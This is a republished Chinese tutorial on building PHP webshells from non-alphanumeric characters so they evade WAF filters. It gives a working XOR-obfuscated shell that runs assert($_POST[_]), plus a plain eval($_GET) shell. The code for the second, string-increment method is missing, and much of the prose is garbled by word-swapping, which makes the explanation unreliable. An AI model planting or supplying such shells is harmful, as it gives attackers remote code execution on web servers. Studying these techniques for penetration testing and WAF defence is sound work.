您的位置 首页 php

通过非数字和字符的方式实现PHP WebShell

一般来讲,咱们所写的 webshell 平日都邑包括数字或字母。比如说上面如许:

 <?phpif(!preg_match('/[a-z0-9]/is',$_GET[' shell '])){eval($_GET['shell']);

}  

但假如你想要绕过WAF的话,你还得应用一些其余的技能来重写你的webshell。

思绪

起首咱们要明白思绪,我的焦点思惟便是经由过程一系列字符变更终极应用非字母和非数字字符构建出webshell,而后应用PHP的静态函数(比方“assert”)来实现函数名的拼接,末了静态履行构建进去的代码。

以是,转换办法便是办理这一成绩的重点了。但是在开端以前,我需要跟人人评论辩论如下php5和php7之间的差别。

php5的断言(assert)是经由过程函数实现的,咱们能够应用$f=’assert’;$f(…);这类办法来静态履行随意率性代码。但是在php7中,断言曾经再也不是一个函数了,而是一种说话布局(相似eval),并且断言(assert)也无奈再作为函数名来实现代码的静态履行了,以是对付php7来讲,成绩能够会变得加倍繁杂了。不外列位也不消太甚担忧,由于咱们能够应用 file_put_contents函数来到达咱们的目标。

为了便利起见,本文的试验情况应用的是php5,对于php7的应用方法就请列位自行去摸索啦:D

办法一

这是一种最简单的办法了。在php中,咱们能够经由过程异或运算(XOR)来获得一个或两个 字符串 。是以,假如咱们想要获得一个a-z之间的英文字符,咱们就能够经由过程两个非字母字符和字符数来天生所需要的字母字符。示例代码如下:

 <?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);  

剖析成果如下:

办法二

在这类办法中,咱们能够应用一些特别的小技能来实现咱们的目标。起首,请人人参考php.net的这份文档:【传送门】

文档中写到:“在处置字符变量的算术运算时,PHP遵守的是Perl的标准,而并不是C说话标准。比如说在PHP和Perl中,$a = ‘Z’; $a++;颠末盘算以后变量$a会酿成 ‘AA’,但是在C说话中,a = ‘Z’; a++;盘算后会将a酿成‘[’(‘Z’的ASCII值为90,‘[’的ASCII值为91)。请注意,字符变量能够停止自增运算但无奈停止自减运算,并且只要ASCII字母和数字(a-z,A-Z,0-9)才支撑这类运算,假如对其余字符变量停止这类运算将不会有任何感化,此时的原始字符串将坚持稳定。”

那末接下来,咱们应当若何能力获得一个包括字符‘a’的变量呢?

字符串“Array”的首字母是一个大写的‘A’,而第四个字母则是一个小写的‘a’。换句话说,咱们能够经由过程这个字符串同时获得大写和小写的字母‘a’(A),这也就意味着咱们能够经由过程这类办法获得a-z和A-Z中随意率性一个字母字符。

比如说在PHP中,假如你想拼接数组和字符串,那末你起首要将字符串(array)转换成一个字符串(这个字符串的值为Array):

而后截取字符串的首字母,咱们就获得了‘A’。

应用这项技能,我编写了如下所示的webshell(由于PHP函数是对大小写敏感的,以是我在开头补上了ASSERT($_POST[_])):

<?php 

剖析成果如下图所示:

总结

许多网站如今都邑对特别字符停止过滤和检测,是以盼望这项技能能够给列位Web渗入渗出测试职员供给一些办理成绩的思绪。

文章来源:智云一二三科技

文章标题:通过非数字和字符的方式实现PHP WebShell

文章地址:https://www.zhihuclub.com/151594.shtml

关于作者: 智云科技

热门文章

网站地图